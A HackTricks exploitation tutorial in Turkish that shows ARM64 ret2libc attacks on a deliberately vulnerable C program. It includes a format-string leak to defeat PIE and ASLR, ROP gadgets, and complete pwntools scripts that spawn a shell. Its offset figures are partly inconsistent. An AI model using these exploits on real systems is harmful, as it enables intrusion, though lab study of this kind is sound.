Ret2lib + Printf leak - ARM64

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Ret2lib - NX bypass, ROP ile (ASLR yok)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

canary olmadan derle:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Offset bulma - x30 offset

pattern create 200 ile bir pattern oluşturarak, bunu kullanıp pattern search $x30 ile offset’i kontrol ettiğimizde offset’in 108 (0x6c) olduğunu görebiliriz.

Disassembled main fonksiyonuna bakınca doğrudan printf’e atlayacak instruction’a jump yapmak istediğimizi görebiliriz; bu instruction’ın binary’nin yüklendiği yerden offset’i 0x860:

system ve /bin/sh string’ini bulma

ASLR devre dışı bırakıldığı için adresler her zaman aynı olacak:

Gadgets bulma

x0 içinde /bin/sh string’inin adresi olmalı ve sonra system çağrılmalıdır.

rooper kullanılarak ilginç bir gadget bulundu:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Bu gadget x0’ı $sp + 0x18’den yükleyecek ve sonra sp’den x29 ve x30 adreslerini yükleyip x30’a atlayacak. Böylece bu gadget ile birinci argümanı kontrol edebilir ve sonra system’e atlayabiliriz.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE bypass printf leaks ile stack’ten

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Derle canary olmadan:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE ve ASLR ama canary yok

  • Tur 1:
  • Leak of PIE from stack
  • bof’u kullanarak main’e geri dön
  • Tur 2:
  • Leak of libc from the stack
  • ROP: ret2system

Printf leaks

printf’i çağırmadan önce bir breakpoint ayarlayarak, stack’te binary’ye dönülecek adreslerin ve ayrıca libc adreslerinin olduğunu görebilirsiniz:

Farklı offsets’leri deneyerek, %21$p binary adresi leak edebilir (PIE bypass) ve %25$p libc adresi leak edebilir:

libc’den leak edilmiş adresi libc’nin base adresinden çıkardığınızda, offset olarak leaked address’in base’ten 0x49c40 olduğu görülebilir.

x30 offset

Önceki örneğe bakın çünkü bof aynı.

Gadget’ları Bulma

Önceki örnekte olduğu gibi, x0’da string /bin/sh’in adresi olmalı ve system çağrılmalı.

rooper kullanılarak başka bir ilginç gadget bulundu:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Bu gadget x0’ı $sp + 0x78 adresinden yükleyecek ve sonra sp’den x29 ile x30 adreslerini yükleyip x30’a atlayacak. Yani bu gadget ile ilk argümanı kontrol edebilir ve ardından system’e atlayabiliriz.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin